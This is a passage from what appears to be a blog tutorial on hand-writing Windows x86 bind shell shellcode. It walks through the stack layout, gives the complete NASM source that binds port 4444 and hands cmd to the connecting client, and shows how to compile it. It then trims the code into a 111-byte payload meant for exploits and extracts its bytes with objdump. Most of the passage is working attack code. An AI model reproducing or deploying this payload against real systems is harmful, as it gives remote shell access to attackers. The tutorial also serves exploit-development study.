&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;           &lt;span class=&quot;nv&quot;&gt;Addr&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;Value&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;Ascii&lt;/span&gt;
           &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE1C&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FFFFF4&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;...A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;ESP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;EAX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE20&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00646&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D63&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;
           &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE24&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C110002&lt;/span&gt;
           &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE28&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00000000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push eax&lt;/code&gt; pushes the address of the “cmd\0” string on the stack and overwrites the previous trash there.&lt;/p&gt;
&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;       &lt;span class=&quot;nv&quot;&gt;Addr&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;Value&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;Ascii&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;ESP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE1C&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE20&lt;/span&gt;   
&lt;span class=&quot;nv&quot;&gt;EAX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE20&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00646&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D63&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE24&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C110002&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE28&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00000000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Below is an alternative version of system(), which saves some bytes using EBP instead of ESP.
We save space because we don’t need to update the value of EBP, like we did to ESP in the previous example.
The reason I use ESP instead is that EBP might get overwritten by the exploit.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x646d6341&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x77c293c7&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;the-complete-bind-shell-code&quot;&gt;The complete bind shell code&lt;/h3&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;BITS&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; LoadLibraryA(_In_ LPCTSTR lpFileName)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3233&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Push 0x00003233 (ASCII 32\0)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5f327377&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; Push 0x5f327377 (ASCII ws2_)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; Store pointer to &quot;ws2_32&quot; in ebx&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Arg lpFileName = ebx -&amp;gt; &quot;ws2_32&quot;&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7c801d7b&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFFFFE70&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; Creating space on stack (400 bytes)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Arg lpWSAData = top of stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x101&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; Arg wVersionRequired = 1.1&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71ab6a55&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; WSASocketA(int af, int type, int protocol, &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;;            LPWSAPROTOCOL_INFOA lpProtocolInfo, &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;;            GROUP g, DWORD dwFlags)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg dwFlags = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg g = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg lpProtocolInfo = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg protocol = IPPROTO_TCP&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg type = SOCK_STREAM&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg af = AF_INET&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AB8B6A&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Store WSASocket() handler&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; bind(SOCKET s, const sockaddr *addr, int namelen)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Creating space on stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5c110102&lt;/span&gt; 
&lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ah&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;; eax: 0x5c110102 -&amp;gt; 0x5c110002 (Mitigating null byte)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Store the portnr on stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Store pointer to the portnr&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Arg namelen = 16 bytes&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg *addr = eax -&amp;gt; 0x5c110002 (5c11 = 4444, 0002 = INET_AF)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg s = WSASocket() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AB4480&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; listen(SOCKET s, int backlog)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg backlog = 1         &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg s = WSASocket() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AB8CD3&lt;/span&gt;       
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; accept(SOCKET s, sockaddr *addr, int *addrlen)      &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg addrlen = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg *addr = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg s = WSASocket() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AC1040&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Store accept() handler&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; SetStdHandle(_In_ DWORD nStdHandle, _In_ HANDLE hHandle)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7c81d363&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg hHandle = accept() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff6&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Arg nStdHandle = -0A (STD_INPUT)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
          
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg hHandle = accept() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff5&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Arg nStdHandle = -0B (STD_OUTPUT)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
          
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg hHandle = accept() handler          &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff4&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Arg nStdHandle = -0C (STD_ERROR)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; system(const char *command)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x646d6341&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; Store string &quot;Acmd&quot; 5 bytes from top of stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; Store pointer to the string &quot;cmd\0&quot; in eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; Manually update esp&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;                          &lt;span class=&quot;c1&quot;&gt;; Arg *command = eax -&amp;gt; &quot;cmd&quot;&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x77c293c7&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;compilation&quot;&gt;Compilation&lt;/h3&gt;

&lt;p&gt;Time to compile this thing. This can be done on Windows by downloading the following tools:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://mingw.org/category/wiki/download&quot;&gt;ld.exe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nasm.us/pub/nasm/releasebuilds/&quot;&gt;nasm.exe&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; nasm.exe &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; win32 &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; bind.obj bind.asm
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; ld.exe bind.obj &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; bind.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or you can cross-compile this on a Linux box:&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nasm &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; win32 bind.asm &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; bind.o
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ld &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; i386pe bind.o &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; bind.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;verify-standalone-executable&quot;&gt;Verify standalone executable&lt;/h3&gt;

&lt;p&gt;Simply double click on the executable and a cmd terminal will appear.&lt;br /&gt;
&lt;img src=&quot;/images/bindshell2.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Connect to it using netcat and we got a shell!&lt;br /&gt;
&lt;img src=&quot;/images/bindshell1.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we were going to use the shellcode as a payload for an exploit, then we can easily reduce the size by removing the code to load the socket library (LoadLibraryA()) and the socket startup call (WSAStartup()). This is because the target vulnerable software probably has already loaded the ws2_32.dll library and ran a socket startup call. This can be confirmed with the following command, which will display all loaded DLLs by the executable:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;tasklist.exe&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;fi&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;imagename&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;eq&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;vulnerable.exe&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;exploitation-ready-bind-shell-111-bytes&quot;&gt;Exploitation ready bind shell (111 bytes)&lt;/h3&gt;

&lt;p&gt;Compiled without LoadLibraryA() and WSAStartup().&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;objdump &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; shell.exe | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^ &quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f2&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'\x'&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt;
